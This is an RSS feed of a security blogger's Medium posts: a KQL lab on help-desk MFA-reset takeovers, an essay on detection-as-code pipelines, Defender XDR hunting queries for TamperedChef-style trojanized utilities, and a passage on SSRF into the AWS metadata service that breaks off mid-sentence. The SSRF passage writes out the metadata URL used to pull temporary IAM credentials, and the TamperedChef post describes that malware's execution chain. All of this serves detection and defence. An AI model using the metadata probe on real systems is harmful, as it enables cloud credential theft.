<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Surya Teja on Medium]]></title>
        <description><![CDATA[Stories by Surya Teja on Medium]]></description>
        <link>https://medium.com/@suryatejakaniki?source=rss-d18b97492f5a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*mISvJJ3StkaJ6pnRpFplRg.png</url>
            <title>Stories by Surya Teja on Medium</title>
            <link>https://medium.com/@suryatejakaniki?source=rss-d18b97492f5a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:59:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@suryatejakaniki/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hunting a help desk MFA reset that ends in a SaaS data export]]></title>
            <link>https://medium.com/@suryatejakaniki/hunting-a-help-desk-mfa-reset-that-ends-in-a-saas-data-export-425a7e0321c0?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/425a7e0321c0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[microsoft-sentinel]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 00:00:41 GMT</pubDate>
            <atom:updated>2026-10-20T10:12:40.115Z</atom:updated>
            <content:encoded><![CDATA[<p>A hands-on KQL lab: find an identity takeover that started with a phone call, using synthetic Entra ID, Defender for Cloud Apps, ticketing and warehouse data.</p><figure><img alt="Illustration of an attack timeline: a help desk phone call, a ticket, a reset key, a new authenticator, report exports and a database copy ending in cloud storage outside the organization, with a magnifying glass over the first two steps" src="https://cdn-images-1.medium.com/max/1024/1*9o75WcHPOsFV8nlxByfYkw.png" /><figcaption>Illustration of the attack chain</figcaption></figure><p>A caller tells the service desk she has a new phone and can’t approve sign-ins. The agent asks a few questions, removes her authenticator and resets her password. Minutes later someone registers a new authenticator for her account and signs in to the CRM. Nothing in that sequence is malware, and every step is an action the identity platform was built to allow.</p><p>I built a lab around this pattern. You work through it in the browser with real KQL against a fixed synthetic dataset, and it takes about an hour. It is free with a sign-in.</p><h3>The pattern in public reporting</h3><p>Several teams have described the same opening move over the last three years:</p><ul><li><strong>Okta Security</strong> reported on 31 August 2023 that between 29 July and 19 August 2023, callers asked IT service desks at several of its US customers to reset all MFA factors for highly privileged users.</li><li><strong>Microsoft Threat Intelligence</strong> reported on 25 October 2023 that Octo Tempest calls help desks to get passwords reset and MFA methods changed or added, and that it copied CRM and support-desk data through third-party data connectors.</li><li><strong>FBI and CISA</strong> reported in advisory AA23–320A (November 2023, revised July 2025) that Scattered Spider social-engineers IT help desks into resetting passwords and MFA tokens and then registers its own MFA tokens.</li><li><strong>Mandiant</strong> reported on 13 June 2024 that UNC3944 called service desks claiming a new phone, passed verification using personal details such as the last four digits of a Social Security number and a manager’s name, then used single sign-on to reach SaaS applications and move their data to attacker-owned cloud storage.</li></ul><p>The lab generalizes from these reports. None of them describes the exact path the lab uses into a cloud data warehouse; in the lab, the warehouse stands for “a SaaS data source reached through single sign-on”. No real organization is modeled.</p><h3>Why it is hard to hunt</h3><p>Every step looks like routine administration. An agent deleting a user’s authentication method and resetting a password is what a lost-phone ticket is supposed to produce. Once the caller registers their own authenticator, sign-ins show MFA satisfied, so a detection built on MFA failures sees nothing after the first prompt.</p><p>The evidence that matters most sits outside the usual SIEM tables. Whether the caller was verified, and whether they called from the number on file, lives in the ticketing system. Many workspaces don’t ingest it.</p><p>Volume doesn’t help much either. A large CRM export on the last day of a quarter is normal, and a nightly ETL job moves more warehouse data than any attacker in the lab.</p><p>Network logs are the obvious thing to ask for, and they would not have helped. Mandiant’s 2024 report makes the point that firewall and netflow logs are ineffective for detecting large outbound transfers from SaaS platforms: the data moves between cloud services and an outside client, not through the corporate network. The lab has no proxy or firewall logs on purpose, and the final assessment asks what that gap does and does not hide.</p><h3>The hypothesis</h3><p>If an attacker obtained an MFA reset by calling the service desk, then within hours of an admin deleting a user’s authentication method we expect:</p><ol><li>a help desk ticket for that user without strong verification,</li><li>a new security-info registration from a network the user has not used,</li><li>successful MFA sign-ins from that network to SaaS apps, and</li><li>bulk export activity in those apps that is new for the user from that network.</li></ol><h3>What the lab asks</h3><p>The lab has seven query steps, a timeline you build from pinned rows, and an assessment. These are three of the questions you can only answer by working through the data:</p><ul><li>In the two weeks, admins changed passwords or authentication methods on three accounts. Which fields in the ticket data separate the one that matters from a properly verified lost-phone reset?</li><li>Two accounts exported far more CRM records than anyone else. What do you have to group by so the real user’s routine exports don’t hide the attacker’s?</li><li>After the attack, the real user tries to sign in. What does that look like in the data, and why is it some of the strongest evidence you have?</li></ul><h3><strong>Try the lab (free with sign-in):</strong></h3><p><a href="https://suryatejakaniki.github.io/labs/s01/">Help desk MFA reset lab</a></p><p>The lab runs on five tables: SigninLogs and AuditLogs from Microsoft Entra ID, CloudAppEvents from Defender for Cloud Apps, and two lab tables for help desk tickets and warehouse query history. Microsoft table columns were checked against Microsoft Learn. The query engine is a small KQL subset written for these labs, not Microsoft&#39;s engine, and the lab documents what it supports and where it differs.</p><h3>Lessons</h3><p><strong>Join identity changes to the ticket.</strong> The reset itself looks the same whether the caller was verified or not. The verification method, the verification status and whether the caller’s number matched the number on file are the fields that decide it, so the ticket export is worth ingesting.</p><p><strong>Group by account and network, not by account alone.</strong> An attacker using a real user’s account inherits that user’s history. Summarizing by account merges the attacker’s exports with the user’s routine ones.</p><p><strong>Look for the real user.</strong> Failed sign-ins with the old password from the office, followed by a second ticket saying “my password stopped working”, confirm a takeover better than any anomaly score.</p><p><strong>Separate look-alikes with fields, not stories.</strong> In the lab, each benign look-alike is ruled out by data: a verified ticket with a callback to the number on file, a compliant device with a device ID, a key-pair login from an internal orchestrator. “She was travelling” or “it’s quarter end” is not evidence until a field says so.</p><p><strong>Name the gap and the log that closes it.</strong> The lab’s data cannot show whether anyone retrieved the files copied to the outside storage location, or whether the CRM exports were downloaded. The logs that would answer that are the warehouse provider’s access history for the stage, the storage provider’s access logs and CRM download events. Proxy logs would not.</p><h3>References</h3><ul><li>Okta Security, 2023–08–31: <a href="https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection">Cross-Tenant Impersonation: Prevention and Detection</a></li><li>Microsoft Threat Intelligence, 2023–10–25: <a href="https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/">Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction</a></li><li>FBI and CISA, AA23–320A, 2023–11–16, revised 2025–07–29: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a">Scattered Spider</a></li><li>Mandiant, 2024–06–13: <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications/">UNC3944 Targets SaaS Applications</a></li><li>Mandiant, 2025–05–06: <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations">Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines</a></li><li>MITRE ATT&amp;CK: <a href="https://attack.mitre.org/techniques/T1684/001/">T1684.001 Social Engineering: Impersonation</a>, <a href="https://attack.mitre.org/techniques/T1556/006/">T1556.006 Modify Authentication Process: Multi-Factor Authentication</a>, <a href="https://attack.mitre.org/techniques/T1537/">T1537 Transfer Data to Cloud Account</a></li><li>Microsoft Learn: <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs">SigninLogs</a>, <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/auditlogs">AuditLogs</a>, <a href="https://learn.microsoft.com/defender-xdr/advanced-hunting-cloudappevents-table">CloudAppEvents</a></li></ul><h3>About the data</h3><p>All data in the lab and in this post is synthetic. The organization, people, tickets and events are invented. Names use example.com and the .example domain, IP addresses come from the documentation ranges 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24 plus private 10.0.0.0/8 addresses, and phone numbers are in the fictional 555–0100 to 555–0199 range. Nothing in the lab connects to a real tenant.</p><p><em>Originally published at </em><a href="https://suryatejakaniki.github.io/blog/helpdesk-mfa-reset-hunt/"><em>https://suryatejakaniki.github.io</em></a><em> on October 19, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=425a7e0321c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection Engineering Is Production Engineering — Why CI/CD Is No Longer Optional]]></title>
            <link>https://detecteng.com/detection-engineering-is-production-engineering-why-ci-cd-is-no-longer-optional-5318cb527a33?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5318cb527a33</guid>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[google-secops]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Sat, 24 Jan 2026 12:02:07 GMT</pubDate>
            <atom:updated>2026-10-17T13:49:37.975Z</atom:updated>
            <content:encoded><![CDATA[<h3>Detection Engineering Is Production Engineering — Why CI/CD Is No Longer Optional</h3><h4><strong>Detection engineers and SOC practitioners:</strong> this is written for you.</h4><p>I have built, broken, tuned and operationalized detections across several SIEM platforms, including Splunk, Sentinel and Google SecOps (Chronicle). One lesson stands out:</p><p><strong>If a detection can impact production operations; it must be managed like production code.</strong></p><p>Yet, in many environments, detections are still treated as <strong>UI configurations :</strong> clicked into existence, tuned directly in production, and “rolled back” via screenshots and tribal memory. That model does not scale, and it <em>will</em> fail under pressure.</p><p>This article walks through a <strong>Detection-as-Code (DaC) CI/CD architecture</strong> designed specifically for <strong>Google Security Operations</strong>, but the principles apply universally. This is not DevOps cosplay. This is disciplined production engineering for detections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h04DWc2Cr3jU2NuWE9JROQ.png" /></figure><h3>The Real Problem: UI-Driven Detection Engineering Is Operationally Unsafe</h3><p>Most detection programs start the same way:</p><ul><li>Analysts build rules directly in the SIEM UI</li><li>Tuning happens live in production</li><li>Rollback means “try to remember what changed”</li><li>Governance is implied, not enforced</li></ul><p><strong>This approach creates systemic risk:</strong></p><ul><li>No deterministic audit trail</li><li>No mandatory peer reviews</li><li>Manual, error-prone rollback</li><li>High blast radius during tuning</li><li>Regressions that surface only after incidents</li><li>Near-zero safety during SIEM migrations</li></ul><p><em>These weaknesses become </em><strong><em>existential</em></strong><em> during SIEM migrations, when detections are recreated, translated, tuned, and rushed under time pressure.</em></p><p>CI/CD is not about speed here.<br> It is about <strong>control, safety, and survivability</strong>.</p><h3>Detection-as-Code: Reframing What CI/CD Means for SIEMs</h3><blockquote>In detection engineering, CI/CD is <strong>not application DevOps</strong>.</blockquote><p>There is no container image to deploy, no service mesh, no autoscaling pod. Instead, CI/CD becomes a <strong>governance and change-control system</strong> for detections.</p><p>In a Detection-as-Code model:</p><ul><li>Detections are <strong>source-controlled artifacts</strong></li><li>GitHub is the <strong>single source of truth</strong></li><li>All changes require <strong>automated validation and peer review</strong></li><li>Deployment is <strong>policy-driven and automated</strong></li><li><strong>Unapproved production changes are technically impossible</strong></li></ul><p>This transforms detections from “configurations” into <strong>first-class production assets</strong>.</p><h3>Why Detection-as-Code Wins (Operationally, Not Theoretically)</h3><p><strong>Change Tracking:</strong><br> Manual UI → Weak, inconsistent, often undocumented<br> CI/CD Detection-as-Code → Complete, immutable audit trail via Git history</p><p><strong>Peer Review:</strong><br> Manual UI → Optional or bypassed under pressure<br> CI/CD Detection-as-Code → Mandatory, enforced through pull requests</p><p><strong>Rollback:</strong><br> Manual UI → Manual, risky, dependent on memory or screenshots<br> CI/CD Detection-as-Code → Deterministic Git revert with automated redeploy</p><p><strong>Governance:</strong><br> Manual UI → Informal, trust-based<br> CI/CD Detection-as-Code → Enforced by design (branch + environment protection)</p><p><strong>Migration Safety:</strong><br> Manual UI → High risk during translation and tuning<br> CI/CD Detection-as-Code → Controlled, testable, and auditable</p><p><strong>Scalability:</strong><br> Manual UI → Fragile as detection count grows<br> CI/CD Detection-as-Code → Linear and predictable at scale</p><p>The value is not theoretical elegance.<br> The value is <strong>reduced incident risk</strong>.</p><h3>Control Plane vs Execution Plane: A Critical Separation</h3><p><em>A mature detection program </em><strong><em>must separate governance from execution</em></strong><em>.</em></p><h3>Control Plane : GitHub</h3><ul><li>Detection source files</li><li>Pull requests and approvals</li><li>CI validation pipelines</li><li>Immutable audit history</li></ul><h3>Execution Plane : Google Security Operations</h3><ul><li>Detection execution</li><li>Alert generation</li><li>Runtime performance monitoring</li></ul><blockquote><strong>Core principle:</strong><br> <strong>GitHub governs</strong> <em>what is allowed to change</em>.<br><strong> Google SecOps executes</strong> <em>only what has been approved</em>.</blockquote><p>If someone can change detections directly in production, your control plane does not exist.</p><h3>Governance Is Not Optional : It Is a Prerequisite</h3><p>No CI/CD pipeline can compensate for unclear ownership.</p><p>Before writing a single pipeline, roles must be explicit:</p><h4>Role : Responsibilities</h4><p>Detection Engineer : Author logic, tune detections<br>SOC / IR Reviewer : Validate operational impact<br>Platform Engineer : Manage CI/CD, access, secrets<br>Lead Detection Engineer : Final production approval</p><p><strong>No individual can modify production detections alone.</strong><br> If that constraint is politically difficult, that is a governance issue, not a technical one.</p><h3>Repository Design That Enforces Discipline</h3><p>A well-structured repository is not cosmetic. It is enforcement.</p><pre>google-secops-detections/<br>├── rules/<br>│   ├── identity/<br>│   ├── cloud/<br>│   ├── endpoint/<br>│   └── network/<br>├── environments/<br>│   ├── dev/<br>│   ├── test/<br>│   └── prod/<br>├── validation/<br>├── pipelines/<br>├── docs/<br>└── changelog/</pre><p>This structure guarantees:</p><ul><li>Environment separation</li><li>Predictable automation</li><li>Consistent detection hygiene</li><li>Scalable ownership</li></ul><p>Branch protection rules, mandatory reviews, and environment approvals are non-negotiable.</p><h3>Identity and Access Management: Non-Negotiable Guardrails</h3><p>CI/CD-based detection engineering lives or dies by how identity and access are handled. A poorly designed IAM model can silently bypass every governance control described above.</p><p><strong>Service Account Model</strong><br> All automated deployments to Google Security Operations must use a <strong>dedicated Google Cloud service account</strong> (for example, secops-ci-deployer).<br> This service account is:</p><ul><li>Granted <strong>least-privilege permissions</strong>, limited strictly to detection deployment APIs</li><li><strong>Never used by humans</strong></li><li><strong>Exclusively invoked by CI/CD pipelines</strong></li></ul><p>This ensures that every production detection change is attributable to a controlled automation path, not an individual user.</p><p><strong>Secrets Management</strong><br> All credentials required for deployment are stored securely using <strong>GitHub Secrets</strong>, never in code or pipeline definitions. Typical examples include:</p><ul><li>CHRONICLE_API_KEY</li><li>CHRONICLE_CUSTOMER_ID</li><li>CHRONICLE_REGION</li></ul><p>Secrets are injected into pipelines at runtime and are:</p><ul><li>Encrypted at rest</li><li>Access-controlled by repository and environment policies</li><li>Fully rotated without code changes</li></ul><p>At no point are secrets hardcoded, logged, or committed to source control.</p><h3>Detection Development Lifecycle (Reality, Not Theory)</h3><h3>1. Authoring</h3><p>Detections are authored as <strong>YARA-L (.yaral)</strong> with mandatory metadata:</p><ul><li>Rule Name</li><li>Description</li><li>Creation Date</li><li>Last Modified Date</li><li>Owner</li><li>Severity</li><li>MITRE Tactic</li><li>MITRE Sub-Technique</li><li>Status</li><li>Tags</li><li>Type</li><li>Reference</li></ul><p>No metadata, no merge.</p><h3>2. Pull Request + Automated Validation</h3><p>Every PR triggers validation:</p><ul><li>Syntax and schema checks</li><li>Metadata enforcement</li><li>Naming conventions</li><li>Duplicate logic detection</li><li>Environment compatibility</li></ul><p>If CI fails, the PR does not proceed. Period.</p><h3>3. Peer Review</h3><p>Reviews are not rubber stamps:</p><ul><li>Detection engineers review logic quality</li><li>SOC validates operational impact</li><li>Lead approval confirms production readiness</li></ul><p>This is where most detection failures are prevented.</p><h3>4. Test Deployment</h3><p>Merging to develop deploys automatically to <strong>Test</strong>:</p><ul><li>API-based deployment</li><li>Rule existence verification</li><li>SOC validation using test events</li></ul><p>Only validated detections progress.</p><h3>5. Production Deployment</h3><p>Promotion to main:</p><ul><li>Mandatory approvals</li><li>Environment protection rules</li><li>Automated production deployment</li><li>Immediate observability</li></ul><p>No emergency exceptions. If it cannot go through CI/CD, it should not go to production.</p><h3>Rollback Is a Feature, Not a Panic Button</h3><p>Rollback is a Git operation:</p><ul><li>Revert to last known good commit</li><li>Automated redeployment</li><li>Completion in minutes</li></ul><p>Compare that to UI-based rollback during an incident, and the value becomes obvious.</p><h3>Tuning and Disabling Are First-Class Workflows</h3><p>Tuning is not a shortcut.<br> Disabling is not an emergency click.</p><p>Both follow the <strong>same pipeline</strong>, with the same governance, the same audit trail, and the same approvals.</p><p>This is how you prevent “temporary” exceptions from becoming permanent blind spots.</p><h3>The Operational Model That Actually Scales</h3><ul><li><strong>Daily:</strong> PRs, CI feedback</li><li><strong>Weekly:</strong> Noise reduction, tuning</li><li><strong>Monthly:</strong> Metrics, decommissioning, pipeline improvements</li></ul><p>Detection engineering becomes predictable, measurable, and defensible.</p><h3>Final Takeaway</h3><p>This architecture does not make detection engineering <em>slower</em>.<br> It makes it <strong>safe</strong>.</p><p>It reduces regression risk, shrinks blast radius, and allows teams to move fast <em>without</em> breaking production.</p><p>If your detections can wake up the SOC at 3 a.m., trigger IR workflows, or influence executive decisions, they are production assets.</p><p>And production assets deserve CI/CD.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5318cb527a33" width="1" height="1" alt=""><hr><p><a href="https://detecteng.com/detection-engineering-is-production-engineering-why-ci-cd-is-no-longer-optional-5318cb527a33">Detection Engineering Is Production Engineering — Why CI/CD Is No Longer Optional</a> was originally published in <a href="https://detecteng.com/">The Detection Engineer</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting TamperedChef-Style Malvertising: Fake Utilities, Node.js and Scheduled Tasks]]></title>
            <link>https://medium.com/@suryatejakaniki/dfir-report-tamperedchef-malware-via-malvertising-and-trojanized-utility-9edc92948e8c?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9edc92948e8c</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malvertising]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[microsoft-defender]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 18:21:44 GMT</pubDate>
            <atom:updated>2026-10-17T13:11:38.984Z</atom:updated>
            <content:encoded><![CDATA[<h4>How trojanized PDF and manual-reader apps get in, and KQL to find them in Defender XDR</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akqEZ2jAxb76S_Z5qkFiHA.jpeg" /></figure><h3>Why this pattern is worth hunting</h3><p>Searching for a printer manual or a free PDF editor is ordinary user behavior. In 2025, several research teams reported campaigns that turned that search into an infection. A sponsored search result leads to a site offering a free utility, the installer looks legitimate, and the malicious behavior is delayed or hidden behind trusted runtimes.</p><ul><li>Truesec named the AppSuite PDF Editor campaign TamperedChef. It reported Google Ads promoting the tool from around June 26, 2025, with malicious capabilities switched on for machines that called back from August 21, 2025.</li><li>WithSecure described AppSuite PDF Editor as an Electron app that ran bundled JavaScript and kept contacting attacker infrastructure even after its “clean” releases.</li><li>Expel reported ManualFinder, a manual-search app it tied to the same AppSuite distribution chain, running JavaScript from the user’s Temp folder with a bundled node.exe through a scheduled task.</li><li>Acronis TRU reported TamperedChef installers disguised as PDF editors, product-manual readers and games, signed with Extended Validation certificates. They drop a task.xml file that creates a scheduled task to run an obfuscated JavaScript backdoor every 24 hours.</li></ul><p>Microsoft separately reported malvertising campaigns that have used Node.js to deliver malware, with scheduled tasks for persistence, since October 2024.</p><h3>Why it’s hard to catch</h3><ul><li>The user starts the chain. There is no exploit and often no phishing email.</li><li>The installer can be code-signed, and the app may behave normally for weeks before the payload activates.</li><li>node.exe and Electron apps are legitimate software. The signal is where they run from and what launches them.</li><li>Traffic goes over HTTPS and blends with ordinary web activity.</li></ul><h3>The behavior to hunt</h3><p>Expel’s write-up describes this chain:</p><ul><li>A scheduled task runs node.exe from a user-writable folder such as AppData\Local\Programs\node\</li><li>node.exe runs a JavaScript file with a GUID-style name from AppData\Local\Temp</li><li>node.exe starts cmd.exe with start &quot;&quot; /min, so the window stays minimized</li><li>cmd.exe installs a further MSI silently with msiexec /qn</li></ul><p>Any one of these can be benign. Together, from a user profile, they deserve a look.</p><h3>Hunting queries (Defender XDR advanced hunting)</h3><h4>1. node.exe running a GUID-named script from Temp</h4><pre>DeviceProcessEvents<br>| where Timestamp &gt; ago(30d)<br>| where FileName =~ &quot;node.exe&quot;<br>| where FolderPath has @&quot;\AppData\&quot;<br>| where ProcessCommandLine matches regex @&quot;(?i)\\temp\\[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\.js&quot;<br>| project Timestamp, DeviceName, AccountName, FolderPath, ProcessCommandLine, InitiatingProcessFileName</pre><h4>2. node.exe launching a minimized cmd.exe</h4><pre>DeviceProcessEvents<br>| where Timestamp &gt; ago(30d)<br>| where InitiatingProcessFileName =~ &quot;node.exe&quot;<br>| where FileName =~ &quot;cmd.exe&quot;<br>| where ProcessCommandLine has &quot;/min&quot;<br>| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine</pre><h4>3. Scheduled tasks that point at node.exe or a .js file</h4><pre>DeviceEvents<br>| where Timestamp &gt; ago(30d)<br>| where ActionType has &quot;ScheduledTask&quot;<br>| where AdditionalFields has_any (&quot;node.exe&quot;, &quot;.js&quot;)<br>| project Timestamp, DeviceName, ActionType, InitiatingProcessFileName, AdditionalFields</pre><h4>4. Network connections from node.exe in user folders</h4><pre>DeviceNetworkEvents<br>| where Timestamp &gt; ago(30d)<br>| where InitiatingProcessFileName =~ &quot;node.exe&quot;<br>| where InitiatingProcessFolderPath has @&quot;\AppData\&quot;<br>| summarize Connections = count(), Urls = make_set(RemoteUrl, 20) by DeviceName, InitiatingProcessFolderPath</pre><h4>5. Run-key persistence</h4><p>Truesec reported AppSuite PDF Editor adding a Run key named PDFEditorUpdater. This catches that and similar entries:</p><pre>DeviceRegistryEvents<br>| where Timestamp &gt; ago(30d)<br>| where RegistryKey has @&quot;\CurrentVersion\Run&quot;<br>| where RegistryValueName has &quot;PDFEditor&quot; or RegistryValueData has_any (&quot;.js&quot;, &quot;node.exe&quot;)<br>| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName</pre><p>In Sentinel, use TimeGenerated instead of Timestamp.</p><h3>Triage notes</h3><ul><li>Developers run node.exe legitimately. Check the folder path and the parent process before escalating.</li><li>Look at what the scheduled task runs, how often, and when it was created relative to the install.</li><li>If a host is confirmed, treat browser-saved credentials and cookies as exposed. Truesec and WithSecure both reported credential theft from browsers.</li></ul><h3>Takeaway</h3><p>This pattern does not trip alerts because every piece is legitimate on its own: a signed installer, a common runtime, a scheduled task, HTTPS traffic. It shows up when you hunt for the combination: a runtime in a user folder, launched by a task, running a randomly named script.</p><h3>References</h3><ul><li>Truesec, <a href="https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor">TamperedChef: The Bad PDF Editor</a> (August 27, 2025)</li><li>WithSecure, <a href="https://www.withsecure.com/en/resources-hub/w-labs/tamperedchef/">TamperedChef</a> (October 3, 2025)</li><li>Expel, <a href="https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/">You don’t find ManualFinder, ManualFinder finds you</a> (August 22, 2025)</li><li>Acronis TRU, <a href="https://www.acronis.com/en/tru/posts/cooking-up-trouble-how-tamperedchef-uses-signed-apps-to-deliver-stealthy-payloads/">Cooking up trouble: How TamperedChef uses signed apps to deliver stealthy payloads</a> (November 19, 2025)</li><li>Microsoft Threat Intelligence, <a href="https://www.microsoft.com/en-us/security/blog/2025/04/15/threat-actors-misuse-node-js-to-deliver-malware-and-other-malicious-payloads/">Threat actors misuse Node.js to deliver malware and other malicious payloads</a> (April 15, 2025)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9edc92948e8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[In the Cloud, Identity Is the Exploit]]></title>
            <link>https://medium.com/@suryatejakaniki/in-the-cloud-identity-is-the-exploit-0cb980785e2e?source=rss-d18b97492f5a------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cb980785e2e</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Surya Teja]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 09:51:35 GMT</pubDate>
            <atom:updated>2026-10-17T13:16:07.487Z</atom:updated>
            <content:encoded><![CDATA[<h4>How one SSRF flaw turns into IAM credential abuse, and how to hunt it in CloudTrail</h4><p>Most cloud compromises do not start with obvious attacker activity.</p><p>There is no shell, no malware beaconing and no immediate alert. They usually begin with a trusted assumption that was never meant to be abused.</p><p>This write-up walks through how a common cloud trust model fails, and how identity becomes the real attack vector long before defenders notice anything unusual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9N_dPUa94gOCapAXpcFCg.png" /></figure><h3>Start With Trust, Not Exploits</h3><blockquote><em>The useful question is not “where is the vulnerability?” It is “what does this system trust?”</em></blockquote><p>In cloud environments, trust is often the most abused and least questioned attack surface. Three questions get to it quickly:</p><ul><li>Which systems are assumed to be safe?</li><li>Which inputs are trusted without much validation?</li><li>Which identities are allowed to act freely without close monitoring?</li></ul><p>These assumptions usually matter more than any single bug.</p><p>The setup in this post is a common one: an internet-facing web application on EC2, with an IAM role that has more permissions than the workload needs.</p><h3>Why SSRF Still Works in Cloud Environments</h3><p>Server-Side Request Forgery is often dismissed as a low-severity web issue unless it leads directly to RCE.</p><blockquote><em>In cloud environments, that mindset is outdated.</em></blockquote><p>SSRF is dangerous not because it executes code, but because it lets an attacker make requests from inside the cloud environment.</p><p>When a vulnerable application sends an outbound request, it does so with:</p><ul><li>Network access the attacker does not normally have</li><li>Built-in trust from the cloud platform</li><li>Direct access to cloud identity and metadata services</li></ul><p>At that point, the attacker is no longer interacting with a web application. They are effectively operating as the cloud workload itself.</p><p>Most defenses are built to protect applications from external abuse, not to protect the cloud environment from its own trusted workloads. This is where SSRF quietly breaks security models.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDTf1tUZkZM_q19jL4TgtQ.jpeg" /></figure><h3>How the Application Becomes a Proxy</h3><p>SSRF rarely announces itself. An application with no obvious URL-fetch feature can still make server-side requests through image processing, webhooks, PDF rendering or import functions.</p><p>The test is simple. If the application can be made to request a link-local address that should never be reachable from the internet:</p><pre>http://169.254.169.254/latest/meta-data/</pre><p>and the response comes back, the application is making requests from inside the AWS trust boundary.</p><p>With IMDSv1, a plain GET request is enough. IMDSv2 requires a session token obtained with a PUT request, and AWS rejects token requests that carry an X-Forwarded-For header, which blocks most SSRF and open-proxy paths. Depending on the AMI and account settings, an instance may still accept IMDSv1, so require IMDSv2 explicitly. MITRE ATT&amp;CK tracks this technique as T1552.005, Cloud Instance Metadata API.</p><p>At that point, the application is no longer the target. It has become the proxy.</p><h3>Identity Was Already Exposed</h3><p>From there, the metadata service returns:</p><ul><li>The instance identity</li><li>The attached IAM role</li><li>Temporary AWS credentials for that role</li></ul><p>There is no exploit chain left to build. No persistence to set up. No shell to maintain. The attacker now holds valid credentials that AWS fully trusts.</p><p>This is the point defenders often miss: the moment when application abuse ends and identity abuse begins.</p><blockquote><em>At that stage, the vulnerable application no longer matters.</em></blockquote><h3>Living Off Cloud APIs</h3><p>With the recovered credentials, standard AWS tooling is enough for basic enumeration:</p><ul><li>Identity context</li><li>Accessible services</li><li>Permission boundaries</li></ul><p>Every request is authenticated. Every action is authorized. Nothing violates policy. In the logs, it looks like normal cloud operations.</p><p>That is why SSRF-driven compromises are so effective. The payload is not code. The payload is identity.</p><p>If the attacker uses that access to create or reuse long-term access keys, a short-lived compromise becomes persistent access through legitimate AWS APIs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iq38_SWEB79uaRT8xaIjGw.jpeg" /></figure><h3>Where Detection Commonly Fails</h3><p>The same gaps show up again and again:</p><ol><li><strong>SSRF is still treated as “just a web bug.”</strong> If it does not lead to immediate RCE, it is often deprioritized.</li><li><strong>Metadata access is implicitly trusted.</strong> Applications are rarely expected to defend against abuse of their own instance context.</li><li><strong>IAM roles are routinely over-privileged.</strong> Web workloads often need a fraction of what they are granted.</li><li><strong>Detection stops at the application boundary.</strong> Once attackers pivot into AWS APIs, visibility and investigation often stop.</li></ol><h3>What Threat Hunters Should Look For</h3><p>The exploit itself is rarely visible in logs. What is visible are the 